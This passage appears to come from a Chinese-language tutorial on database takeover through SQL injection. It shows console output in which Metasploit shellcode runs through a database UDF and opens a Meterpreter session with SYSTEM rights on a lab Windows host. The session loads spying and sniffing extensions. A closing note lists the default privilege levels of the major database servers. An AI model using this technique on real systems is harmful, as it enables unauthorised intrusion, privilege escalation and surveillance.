192.168.136.1:60641 [*] Starting the payload handler... [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait.. [*] Sending stage (749056 bytes) to 192.168.136.129 [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > [-] The 'priv' extension has already been loaded. meterpreter > Loading extension sniffer...success. meterpreter > System Language : en_US OS : Windows .NET Server (Build 3790, Service Pack 2). Computer : W2K3R2 Architecture : x86 Meterpreter : x86/win32 meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:0c:29:fc:79:39 IP Address : 192.168.136.129 Netmask : 255.255.255.0 meterpreter > exit [*] Meterpreter session 1 closed. Reason: User exit
默認狀況下MySQL在Windows上以SYSTEM權限運行,PostgreSQL在Windows與Linux中是低權限運 行,Microsoft SQL Server 2000默認是以SYSTEM權限運行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時是LOCAL SERVICE。
、